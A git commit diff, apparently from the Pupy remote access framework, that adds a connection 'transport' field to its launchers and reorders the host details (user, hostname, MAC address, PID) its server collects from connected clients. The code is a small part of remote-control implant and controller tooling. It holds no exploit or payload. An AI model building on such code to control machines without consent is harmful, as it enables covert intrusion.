add transport in client info and reorder client info display

This commit is contained in:
n1nj4sec 2016-05-31 20:29:47 +02:00
parent 755af20e67
commit 0c70dcfe74
6 changed files with 16 additions and 6 deletions

View File

@ -11,8 +11,7 @@ class GetInfo(PupyModule):
#self.arg_parser.add_argument('arguments', nargs='+', metavar='<command>')
def run(self, args):
infos=""
for k,v in self.client.desc.iteritems():
if k not in ["conn","id","platform"]:
infos+="{:<10}: {}\n".format(k,v)
for k in ["hostname", "user", "release", "version", "os_arch", "pid", "exec_path", "proc_arch", "address", "macaddr", "transport", "launcher", "launcher_args"]:
infos+="{:<10}: {}\n".format(k,self.client.desc[k])
self.rawlog(infos)

View File

@ -32,6 +32,7 @@ class BaseLauncher(object):
self.arg_parser=None
self.args=None
self.host="unknown"
self.transport="unknown"
self.init_argparse()
def iterate(self):
""" iterate must be an iterator returning rpyc stream instances"""
@ -40,8 +41,14 @@ class BaseLauncher(object):
self.arg_parser = LauncherArgumentParser(prog=self.__class__.__name__, description=self.__doc__)
def parse_args(self, args):
self.args=self.arg_parser.parse_args(args)
def set_host(self, host):
self.host=host
def get_host(self):
return self.host
def set_transport(self, t):
self.transport=t
def get_transport(self):
return self.transport

View File

@ -148,6 +148,7 @@ class AutoProxyLauncher(BaseLauncher):
else:
self.rport=443
self.set_host("%s:%s"%(self.rhost, self.rport))
self.set_transport(self.args.transport)
def iterate(self):
if self.args is None:
raise LauncherError("parse_args needs to be called before iterate")

View File

@ -21,6 +21,7 @@ class SimpleLauncher(BaseLauncher):
else:
self.rport=443
self.set_host("%s:%s"%(self.rhost, self.rport))
self.set_transport(self.args.transport)
def iterate(self):
if self.args is None:
raise LauncherError("parse_args needs to be called before iterate")

View File

@ -101,7 +101,7 @@ class BindSlaveService(ReverseSlaveService):
self.exposed_namespace = {}
self._conn._config.update(REVERSE_SLAVE_CONF)
import pupy
if self._conn.root.get_password() != pupy.infos['launcher'].args.password:
if self._conn.root.get_password() != pupy.infos['launcher_inst'].args.password:
self._conn.close()
raise KeyboardInterrupt("wrong password")
self._conn.root.set_modules(ModuleNamespace(self.exposed_getmodule))
@ -170,7 +170,8 @@ def main():
pupy.infos={} #global dictionary to store informations persistent through a deconnection
pupy.infos['launcher']=LAUNCHER
pupy.infos['launcher_args']=LAUNCHER_ARGS
pupy.infos['launcher']=launcher
pupy.infos['launcher_inst']=launcher
pupy.infos['transport']=launcher.get_transport()
rpyc_loop(launcher)
finally:

View File

@ -185,9 +185,10 @@ class PupyServer(threading.Thread):
"exec_path" : l[9],
"macaddr" : l[6],
"pid" : l[7],
"address" : conn._conn._config['connid'].split(':')[0],
"address" : conn._conn._config['connid'].rsplit(':',1)[0],
"launcher" : conn.get_infos("launcher"),
"launcher_args" : obtain(conn.get_infos("launcher_args")),
"transport" : obtain(conn.get_infos("transport")),
}, self)
self.clients.append(pc)
if self.handler: